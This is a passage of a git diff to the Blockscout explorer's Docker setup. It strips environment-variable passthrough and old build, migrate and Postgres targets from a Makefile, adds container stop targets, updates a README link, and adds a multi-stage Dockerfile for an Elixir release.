BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_ADDRESS_MARKETCAP_PERCENTAGE=$(SHOW_ADDRESS_MARKETCAP_PERCENTAGE)' -endif -ifdef BLOCKSCOUT_PROTOCOL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'BLOCKSCOUT_PROTOCOL=$(BLOCKSCOUT_PROTOCOL)' -endif -ifdef BLOCKSCOUT_HOST - BLOCKSCOUT_CONTAINER_PARAMS += -e 'BLOCKSCOUT_HOST=$(BLOCKSCOUT_HOST)' -endif -ifdef DECOMPILED_SMART_CONTRACT_TOKEN - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DECOMPILED_SMART_CONTRACT_TOKEN=$(DECOMPILED_SMART_CONTRACT_TOKEN)' -endif -ifdef SOCKET_ROOT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SOCKET_ROOT=$(SOCKET_ROOT)' -endif -ifdef API_PATH - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_PATH=$(API_PATH)' -endif -ifdef CHECKSUM_ADDRESS_HASHES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CHECKSUM_ADDRESS_HASHES=$(CHECKSUM_ADDRESS_HASHES)' -endif -ifdef CHECKSUM_FUNCTION - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CHECKSUM_FUNCTION=$(CHECKSUM_FUNCTION)' -endif -ifdef EXCHANGE_RATES_SOURCE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXCHANGE_RATES_SOURCE=$(EXCHANGE_RATES_SOURCE)' -endif -ifdef EXCHANGE_RATES_COINGECKO_COIN_ID - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXCHANGE_RATES_COINGECKO_COIN_ID=$(EXCHANGE_RATES_COINGECKO_COIN_ID)' -endif -ifdef EXCHANGE_RATES_COINGECKO_API_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXCHANGE_RATES_COINGECKO_API_KEY=$(EXCHANGE_RATES_COINGECKO_API_KEY)' -endif -ifdef EXCHANGE_RATES_COINMARKETCAP_API_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXCHANGE_RATES_COINMARKETCAP_API_KEY=$(EXCHANGE_RATES_COINMARKETCAP_API_KEY)' -endif -ifdef DISABLE_EXCHANGE_RATES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_EXCHANGE_RATES=$(DISABLE_EXCHANGE_RATES)' -endif -ifdef SHOW_PRICE_CHART - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_PRICE_CHART=$(SHOW_PRICE_CHART)' -endif -ifdef SHOW_TXS_CHART - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_TXS_CHART=$(SHOW_TXS_CHART)' -endif -ifdef HISTORY_FETCH_INTERVAL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'HISTORY_FETCH_INTERVAL=$(HISTORY_FETCH_INTERVAL)' -endif -ifdef TXS_HISTORIAN_INIT_LAG - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TXS_HISTORIAN_INIT_LAG=$(TXS_HISTORIAN_INIT_LAG)' -endif -ifdef TXS_STATS_DAYS_TO_COMPILE_AT_INIT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TXS_STATS_DAYS_TO_COMPILE_AT_INIT=$(TXS_STATS_DAYS_TO_COMPILE_AT_INIT)' -endif -ifdef APPS_MENU - BLOCKSCOUT_CONTAINER_PARAMS += -e 'APPS_MENU=$(APPS_MENU)' -endif -ifdef EXTERNAL_APPS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXTERNAL_APPS=$(EXTERNAL_APPS)' -endif -ifdef GAS_PRICE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'GAS_PRICE=$(GAS_PRICE)' + @echo "==> Blockscout frontend container already stopped before." endif -ifdef TOKEN_METADATA_UPDATE_INTERVAL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TOKEN_METADATA_UPDATE_INTERVAL=$(TOKEN_METADATA_UPDATE_INTERVAL)' -endif -ifdef WOBSERVER_ENABLED - BLOCKSCOUT_CONTAINER_PARAMS += -e 'WOBSERVER_ENABLED=$(WOBSERVER_ENABLED)' -endif -ifdef CACHE_BRIDGE_MARKET_CAP_UPDATE_INTERVAL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_BRIDGE_MARKET_CAP_UPDATE_INTERVAL=$(CACHE_BRIDGE_MARKET_CAP_UPDATE_INTERVAL)' -endif -ifdef RESTRICTED_LIST - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RESTRICTED_LIST=$(RESTRICTED_LIST)' -endif -ifdef RESTRICTED_LIST_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RESTRICTED_LIST_KEY=$(RESTRICTED_LIST_KEY)' -endif -ifdef CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD=$(CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD)' -endif -ifdef CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD=$(CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD)' -endif -ifdef CACHE_TOTAL_GAS_USAGE_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_TOTAL_GAS_USAGE_PERIOD=$(CACHE_TOTAL_GAS_USAGE_PERIOD)' -endif -ifdef CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER=$(CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER)' -endif -ifdef DISABLE_KNOWN_TOKENS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_KNOWN_TOKENS=$(DISABLE_KNOWN_TOKENS)' -endif -ifdef DISABLE_LP_TOKENS_IN_MARKET_CAP - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISABLE_LP_TOKENS_IN_MARKET_CAP=$(DISABLE_LP_TOKENS_IN_MARKET_CAP)' -endif -ifdef CUSTOM_CONTRACT_ADDRESSES_TEST_TOKEN - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CUSTOM_CONTRACT_ADDRESSES_TEST_TOKEN=$(CUSTOM_CONTRACT_ADDRESSES_TEST_TOKEN)' -endif -ifdef HIDE_BLOCK_MINER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'HIDE_BLOCK_MINER=$(HIDE_BLOCK_MINER)' -endif -ifdef COIN_BALANCE_HISTORY_DAYS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'COIN_BALANCE_HISTORY_DAYS=$(COIN_BALANCE_HISTORY_DAYS)' -endif -ifdef CACHE_TOKEN_EXCHANGE_RATE_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_TOKEN_EXCHANGE_RATE_PERIOD=$(CACHE_TOKEN_EXCHANGE_RATE_PERIOD)' -endif -ifdef CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD=$(CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD)' -endif -ifdef SHOW_MAINTENANCE_ALERT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_MAINTENANCE_ALERT=$(SHOW_MAINTENANCE_ALERT)' -endif -ifdef MAINTENANCE_ALERT_MESSAGE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'MAINTENANCE_ALERT_MESSAGE=$(MAINTENANCE_ALERT_MESSAGE)' -endif -ifdef ENABLE_SOURCIFY_INTEGRATION - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ENABLE_SOURCIFY_INTEGRATION=$(ENABLE_SOURCIFY_INTEGRATION)' -endif -ifdef SOURCIFY_SERVER_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SOURCIFY_SERVER_URL=$(SOURCIFY_SERVER_URL)' -endif -ifdef SOURCIFY_REPO_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SOURCIFY_REPO_URL=$(SOURCIFY_REPO_URL)' -endif -ifdef CHAIN_ID - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CHAIN_ID=$(CHAIN_ID)' -endif -ifdef JSON_RPC - BLOCKSCOUT_CONTAINER_PARAMS += -e 'JSON_RPC=$(JSON_RPC)' -endif -ifdef MAX_SIZE_UNLESS_HIDE_ARRAY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'MAX_SIZE_UNLESS_HIDE_ARRAY=$(MAX_SIZE_UNLESS_HIDE_ARRAY)' -endif -ifdef DISPLAY_TOKEN_ICONS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DISPLAY_TOKEN_ICONS=$(DISPLAY_TOKEN_ICONS)' -endif -ifdef SHOW_TENDERLY_LINK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_TENDERLY_LINK=$(SHOW_TENDERLY_LINK)' -endif -ifdef TENDERLY_CHAIN_PATH - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TENDERLY_CHAIN_PATH=$(TENDERLY_CHAIN_PATH)' -endif -ifdef MAX_STRING_LENGTH_WITHOUT_TRIMMING - BLOCKSCOUT_CONTAINER_PARAMS += -e 'MAX_STRING_LENGTH_WITHOUT_TRIMMING=$(MAX_STRING_LENGTH_WITHOUT_TRIMMING)' -endif -ifdef RE_CAPTCHA_SECRET_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RE_CAPTCHA_SECRET_KEY=$(RE_CAPTCHA_SECRET_KEY)' -endif -ifdef RE_CAPTCHA_CLIENT_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RE_CAPTCHA_CLIENT_KEY=$(RE_CAPTCHA_CLIENT_KEY)' -endif -ifdef CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD=$(CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD)' -endif -ifdef API_RATE_LIMIT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_RATE_LIMIT=$(API_RATE_LIMIT)' -endif -ifdef API_RATE_LIMIT_BY_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_RATE_LIMIT_BY_KEY=$(API_RATE_LIMIT_BY_KEY)' -endif -ifdef API_RATE_LIMIT_BY_IP - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_RATE_LIMIT_BY_IP=$(API_RATE_LIMIT_BY_IP)' -endif -ifdef API_RATE_LIMIT_STATIC_API_KEY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_RATE_LIMIT_STATIC_API_KEY=$(API_RATE_LIMIT_STATIC_API_KEY)' -endif -ifdef API_RATE_LIMIT_WHITELISTED_IPS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'API_RATE_LIMIT_WHITELISTED_IPS=$(API_RATE_LIMIT_WHITELISTED_IPS)' -endif -ifdef COIN_NAME - BLOCKSCOUT_CONTAINER_PARAMS += -e 'COIN_NAME=$(COIN_NAME)' -endif -ifdef INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER=$(INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER)' -endif -ifdef INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER=$(INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER)' -endif -ifdef TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES=$(TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES)' -endif -ifdef COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES=$(COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES)' -endif -ifdef INDEXER_MEMORY_LIMIT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_MEMORY_LIMIT=$(INDEXER_MEMORY_LIMIT)' -endif -ifdef ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT=$(ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT)' -endif -ifdef FETCH_REWARDS_WAY - BLOCKSCOUT_CONTAINER_PARAMS += -e 'FETCH_REWARDS_WAY=$(FETCH_REWARDS_WAY)' -endif -ifdef INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE=$(INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE)' -endif -ifdef FOOTER_CHAT_LINK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'FOOTER_CHAT_LINK=$(FOOTER_CHAT_LINK)' -endif -ifdef FOOTER_FORUM_LINK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'FOOTER_FORUM_LINK=$(FOOTER_FORUM_LINK)' -endif -ifdef FOOTER_GITHUB_LINK - BLOCKSCOUT_CONTAINER_PARAMS += -e 'FOOTER_GITHUB_LINK=$(FOOTER_GITHUB_LINK)' -endif -ifdef NETWORK_ICON - BLOCKSCOUT_CONTAINER_PARAMS += -e 'NETWORK_ICON=$(NETWORK_ICON)' -endif -ifdef LOGO_TEXT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'LOGO_TEXT=$(LOGO_TEXT)' -endif -ifdef SHOW_TESTNET_LABEL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SHOW_TESTNET_LABEL=$(SHOW_TESTNET_LABEL)' -endif -ifdef TESTNET_LABEL_TEXT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'TESTNET_LABEL_TEXT=$(TESTNET_LABEL_TEXT)' -endif -ifdef OTHER_EXPLORERS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'OTHER_EXPLORERS=$(OTHER_EXPLORERS)' -endif -ifdef CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST=$(CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST)' -endif -ifdef CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST_V_0_5 - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST_V_0_5=$(CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST_V_0_5)' -endif -ifdef CUSTOM_CONTRACT_ADDRESSES_CIRCLES - BLOCKSCOUT_CONTAINER_PARAMS += -e 'CUSTOM_CONTRACT_ADDRESSES_CIRCLES=$(CUSTOM_CONTRACT_ADDRESSES_CIRCLES)' -endif -ifdef HEALTHY_BLOCKS_PERIOD - BLOCKSCOUT_CONTAINER_PARAMS += -e 'HEALTHY_BLOCKS_PERIOD=$(HEALTHY_BLOCKS_PERIOD)' -endif -ifdef EXCHANGE_RATES_FETCH_BTC_VALUE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'EXCHANGE_RATES_FETCH_BTC_VALUE=$(EXCHANGE_RATES_FETCH_BTC_VALUE)' -endif -ifdef ENABLE_TXS_STATS - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ENABLE_TXS_STATS=$(ENABLE_TXS_STATS)' -endif -ifdef INDEXER_DISABLE_BLOCK_REWARD_FETCHER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_BLOCK_REWARD_FETCHER=$(INDEXER_DISABLE_BLOCK_REWARD_FETCHER)' -endif -ifdef INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER=$(INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER)' -endif -ifdef INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER=$(INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER)' -endif -ifdef INDEXER_DISABLE_EMPTY_BLOCK_SANITIZER - BLOCKSCOUT_CONTAINER_PARAMS += -e 'INDEXER_DISABLE_EMPTY_BLOCK_SANITIZER=$(INDEXER_DISABLE_EMPTY_BLOCK_SANITIZER)' -endif -ifdef SECRET_KEY_BASE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'SECRET_KEY_BASE=$(SECRET_KEY_BASE)' -endif -ifdef PORT - BLOCKSCOUT_CONTAINER_PARAMS += -e 'PORT=$(PORT)' -endif -ifdef DATABASE_READ_ONLY_API_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'DATABASE_READ_ONLY_API_URL=$(DATABASE_READ_ONLY_API_URL)' -endif -ifdef POOL_SIZE_API - BLOCKSCOUT_CONTAINER_PARAMS += -e 'POOL_SIZE_API=$(POOL_SIZE_API)' -endif -ifdef ENABLE_RUST_VERIFICATION_SERVICE - BLOCKSCOUT_CONTAINER_PARAMS += -e 'ENABLE_RUST_VERIFICATION_SERVICE=$(ENABLE_RUST_VERIFICATION_SERVICE)' -endif -ifdef RUST_VERIFICATION_SERVICE_URL - BLOCKSCOUT_CONTAINER_PARAMS += -e 'RUST_VERIFICATION_SERVICE_URL=$(RUST_VERIFICATION_SERVICE_URL)' -endif - - -HAS_BLOCKSCOUT_IMAGE := $(shell docker images | grep -sw "${BS_CONTAINER_IMAGE} ") -build: - @echo "==> Checking for blockscout image $(BS_CONTAINER_IMAGE)" -ifdef HAS_BLOCKSCOUT_IMAGE - @echo "==> Image exist. Using $(BS_CONTAINER_IMAGE)" +ifdef BS_BACKEND_STARTED + @echo "==> Stopping Blockscout backend container." + @docker stop $(BACKEND_CONTAINER_NAME) && docker rm -f $(BACKEND_CONTAINER_NAME) + @echo "==> Blockscout backend container stopped." else - @echo "==> No image found, trying to build one..." - @docker build --build-arg COIN="$(COIN)" -f ./Dockerfile -t $(BS_CONTAINER_IMAGE) ../ + @echo "==> Blockscout backend container already stopped before." endif - -migrate_only: - @echo "==> Running migrations" - @docker run --rm \ - $(BLOCKSCOUT_CONTAINER_PARAMS) \ - $(BS_CONTAINER_IMAGE) /bin/sh -c "echo $$MIX_ENV && ./bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\"" - -migrate: build postgres - @$(MAKE) -f $(THIS_FILE) migrate_only - -PG_EXIST := $(shell docker ps -a --no-trunc --filter name=^/${PG_CONTAINER_NAME}$ | grep ${PG_CONTAINER_NAME}) -PG_STARTED := $(shell docker ps --no-trunc --filter name=^/${PG_CONTAINER_NAME}$ | grep ${PG_CONTAINER_NAME}) - -postgres: -ifdef DATABASE_URL - @echo "==> DATABASE_URL of external DB provided. There is no need to start a container for DB." - @$(MAKE) -f $(THIS_FILE) migrate_only +ifdef BS_STATS_DB_STARTED + @echo "==> Stopping Blockscout stats db container." + @docker stop $(STATS_DB_CONTAINER_NAME) && docker rm -f $(STATS_DB_CONTAINER_NAME) + @echo "==> Blockscout stats db container stopped." else -ifdef PG_EXIST - @echo "==> Checking PostrgeSQL container" -ifdef PG_STARTED - @echo "==> PostgreSQL Already started" - @$(MAKE) -f $(THIS_FILE) migrate_only + @echo "==> Blockscout stats db container already stopped before." +endif +ifdef BS_STATS_STARTED + @echo "==> Stopping Blockscout stats container." + @docker stop $(STATS_CONTAINER_NAME) && docker rm -f $(STATS_CONTAINER_NAME) + @echo "==> Blockscout stats container stopped." else - @echo "==> Starting PostgreSQL container" - @docker start $(PG_CONTAINER_NAME) - @$(MAKE) -f $(THIS_FILE) migrate_only + @echo "==> Blockscout stats container already stopped before." endif +ifdef BS_VISUALIZER_STARTED + @echo "==> Stopping Blockscout visualizer container." + @docker stop $(VISUALIZER_CONTAINER_NAME) && docker rm -f $(VISUALIZER_CONTAINER_NAME) + @echo "==> Blockscout visualizer container stopped." else - @echo "==> Creating new PostgreSQL container" - @docker run -d --name $(PG_CONTAINER_NAME) \ - -e POSTGRES_PASSWORD="" \ - -e POSTGRES_USER="postgres" \ - -e POSTGRES_HOST_AUTH_METHOD="trust" \ - -p 5432:5432 \ - $(PG_CONTAINER_IMAGE) - @sleep 1 - @$(MAKE) -f $(THIS_FILE) migrate_only + @echo "==> Blockscout visualizer container already stopped before." endif +ifdef BS_SIG_PROVIDER_STARTED + @echo "==> Stopping Blockscout sig-provider container." + @docker stop $(SIG_PROVIDER_CONTAINER_NAME) && docker rm -f $(SIG_PROVIDER_CONTAINER_NAME) + @echo "==> Blockscout sig-provider container stopped." +else + @echo "==> Blockscout sig-provider container already stopped before." endif - -start: build postgres - @echo "==> Starting blockscout" - @docker run --rm --name $(BS_CONTAINER_NAME) \ - $(BLOCKSCOUT_CONTAINER_PARAMS) \ - -p 4000:4000 \ - $(BS_CONTAINER_IMAGE) /bin/sh -c "./bin/blockscout start" - -BS_STARTED := $(shell docker ps --no-trunc --filter name=^/${BS_CONTAINER_NAME}$) -stop: -ifdef BS_STARTED - @echo "==> Stopping BlockScout container." - @docker stop $(BS_CONTAINER_NAME) - @echo "==> BlockScout container stopped." +ifdef BS_PROXY_STARTED + @echo "==> Stopping Nginx proxy container." + @docker stop $(PROXY_CONTAINER_NAME) && docker rm -f $(PROXY_CONTAINER_NAME) + @echo "==> Nginx proxy container stopped." else - @echo "==> BlockScout container already stopped before." + @echo "==> Nginx proxy container already stopped before." endif ifdef PG_STARTED @echo "==> Stopping Postgres container." @@ -557,15 +110,15 @@ publish-stable: docker-login publish-latest publish-stable-version ## publish th publish-latest: tag-latest ## publish the `latest` tagged container to hub @echo 'publish latest to $(DOCKER_REPO)' - docker push $(BS_CONTAINER_IMAGE):latest + docker push $(BACKEND_CONTAINER_IMAGE):latest publish-version: tag-version ## publish the `{version}` tagged container to hub @echo 'publish $(TAG) to $(DOCKER_REPO)' - docker push $(BS_CONTAINER_IMAGE):$(TAG) + docker push $(BACKEND_CONTAINER_IMAGE):$(TAG) publish-stable-version: tag-stable-version ## publish the `{version}` tagged container to hub @echo 'publish $(STABLE_TAG) to $(DOCKER_REPO)' - docker push $(BS_CONTAINER_IMAGE):$(STABLE_TAG) + docker push $(BACKEND_CONTAINER_IMAGE):$(STABLE_TAG) # Docker tagging tag: tag-latest tag-version ## Generate container tags for the `{version}` ans `latest` tags @@ -573,21 +126,19 @@ tag-stable: tag-latest tag-stable-version ## Generate container tags for the `{v tag-latest: ## Generate container `latest` tag @echo 'create latest tag' - docker tag $(BS_CONTAINER_IMAGE) $(BS_CONTAINER_IMAGE):latest + docker tag $(BACKEND_CONTAINER_IMAGE) $(BACKEND_CONTAINER_IMAGE):latest tag-version: ## Generate container `{version}` tag @echo 'create tag $(TAG)' - docker tag $(BS_CONTAINER_IMAGE) $(BS_CONTAINER_IMAGE):$(TAG) + docker tag $(BACKEND_CONTAINER_IMAGE) $(BACKEND_CONTAINER_IMAGE):$(TAG) tag-stable-version: ## Generate container `{version}` tag @echo 'create tag $(STABLE_TAG)' - docker tag $(BS_CONTAINER_IMAGE) $(BS_CONTAINER_IMAGE):$(STABLE_TAG) + docker tag $(BACKEND_CONTAINER_IMAGE) $(BACKEND_CONTAINER_IMAGE):$(STABLE_TAG) .PHONY: build \ - migrate \ start \ stop \ - postgres \ run \ docker-login \ release \ @@ -597,4 +148,3 @@ tag-stable-version: ## Generate container `{version}` tag tag \ tag-latest \ tag-version - diff --git a/docker/README.md b/docker/README.md index 03df272c4a12..a1078f86a28f 100644 --- a/docker/README.md +++ b/docker/README.md @@ -1,5 +1,3 @@ # BlockScout Docker Integration -This integration is not production ready, and should be used for local BlockScout deployment only. - -For usage instructions and ENV variables, see the [docker integration documentation](https://docs.blockscout.com/for-developers/information-and-settings/docker-integration-local-use-only). \ No newline at end of file +For usage instructions and ENV variables, see the [docker integration documentation](https://docs.blockscout.com/for-developers/deployment/docker-compose-deployment). \ No newline at end of file diff --git a/docker/oldUI.Dockerfile b/docker/oldUI.Dockerfile new file mode 100644 index 000000000000..a2552f144449 --- /dev/null +++ b/docker/oldUI.Dockerfile @@ -0,0 +1,109 @@ +FROM hexpm/elixir:1.17.3-erlang-27.3.4-alpine-3.21.3 AS builder-deps + +WORKDIR /app + +RUN apk --no-cache --update add \ + alpine-sdk gmp-dev automake libtool inotify-tools autoconf python3 file gcompat libstdc++ curl ca-certificates git make bash + +# Cache elixir deps +COPY mix.exs mix.lock ./ +COPY apps/block_scout_web/mix.exs ./apps/block_scout_web/ +COPY apps/explorer/mix.exs ./apps/explorer/ +COPY apps/ethereum_jsonrpc/mix.exs ./apps/ethereum_jsonrpc/ +COPY apps/indexer/mix.exs ./apps/indexer/ +COPY apps/utils/mix.exs ./apps/utils/ +COPY apps/nft_media_handler/mix.exs ./apps/nft_media_handler/ + +ENV MIX_ENV="prod" +ENV MIX_HOME=/opt/mix +RUN mix local.hex --force +RUN mix do deps.get, local.rebar --force, deps.compile --skip-umbrella-children + +COPY config ./config +COPY rel ./rel +COPY apps ./apps + +############################################################## +FROM builder-deps AS builder-ui + +RUN apk --no-cache --update add nodejs npm && \ + npm install npm@latest + +# Add blockscout npm deps +RUN cd apps/block_scout_web/assets/ && \ + npm install && \ + npm run deploy && \ + cd /app/apps/explorer/ && \ + npm install + +RUN cd apps/block_scout_web && mix phx.digest + +############################################################## +FROM builder-ui AS builder + +ENV DISABLE_WEBAPP=false +ARG ADMIN_PANEL_ENABLED +ENV ADMIN_PANEL_ENABLED=${ADMIN_PANEL_ENABLED} +ARG DISABLE_API +ENV DISABLE_API=${DISABLE_API} +ARG API_V1_READ_METHODS_DISABLED +ENV API_V1_READ_METHODS_DISABLED=${API_V1_READ_METHODS_DISABLED} +ARG API_V1_WRITE_METHODS_DISABLED +ENV API_V1_WRITE_METHODS_DISABLED=${API_V1_WRITE_METHODS_DISABLED} +ARG CHAIN_TYPE +ENV CHAIN_TYPE=${CHAIN_TYPE} +ARG BRIDGED_TOKENS_ENABLED +ENV BRIDGED_TOKENS_ENABLED=${BRIDGED_TOKENS_ENABLED} +ARG API_GRAPHQL_MAX_COMPLEXITY +ENV API_GRAPHQL_MAX_COMPLEXITY=${API_GRAPHQL_MAX_COMPLEXITY} + +# Run backend compilation +RUN mix compile + +RUN mkdir -p /opt/release && \ + mix release blockscout && \ + mv _build/${MIX_ENV}/rel/blockscout /opt/release + +############################################################## +FROM hexpm/elixir:1.17.3-erlang-27.3.4-alpine-3.21.3 + +WORKDIR /app + +ARG BLOCKSCOUT_USER=blockscout +ARG BLOCKSCOUT_GROUP=blockscout +ARG BLOCKSCOUT_UID=10001 +ARG BLOCKSCOUT_GID=10001 + +RUN apk --no-cache --update add jq curl && \ + addgroup --system --gid ${BLOCKSCOUT_GID} ${BLOCKSCOUT_GROUP} && \ + adduser --system --uid ${BLOCKSCOUT_UID} --ingroup ${BLOCKSCOUT_GROUP} --disabled-password ${BLOCKSCOUT_USER} + +ENV DISABLE_WEBAPP=false +ENV ADMIN_PANEL_ENABLED=false +ARG DISABLE_API +ENV DISABLE_API=${DISABLE_API} +ARG API_V1_READ_METHODS_DISABLED +ENV API_V1_READ_METHODS_DISABLED=${API_V1_READ_METHODS_DISABLED} +ARG API_V1_WRITE_METHODS_DISABLED +ENV API_V1_WRITE_METHODS_DISABLED=${API_V1_WRITE_METHODS_DISABLED} +ARG CHAIN_TYPE +ENV CHAIN_TYPE=${CHAIN_TYPE} +ARG BRIDGED_TOKENS_ENABLED +ENV BRIDGED_TOKENS_ENABLED=${BRIDGED_TOKENS_ENABLED} +ARG API_GRAPHQL_MAX_COMPLEXITY +ENV API_GRAPHQL_MAX_COMPLEXITY=${API_GRAPHQL_MAX_COMPLEXITY} + +ARG RELEASE_VERSION +ENV RELEASE_VERSION=${RELEASE_VERSION} +ARG BLOCKSCOUT_VERSION +ENV BLOCKSCOUT_VERSION=${BLOCKSCOUT_VERSION} + +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /opt/release/blockscout . +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/apps/explorer/node_modules ./node_modules +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/config_helper.exs ./config/config_helper.exs +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/config_helper.exs /app/releases/${RELEASE_VERSION}/config_helper.exs +COPY --from=builder --chown=${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app/config/assets/precompiles-arbitrum.json ./config/assets/precompiles-arbitrum.json + +RUN mkdir dets && mkdir temp && chown -R 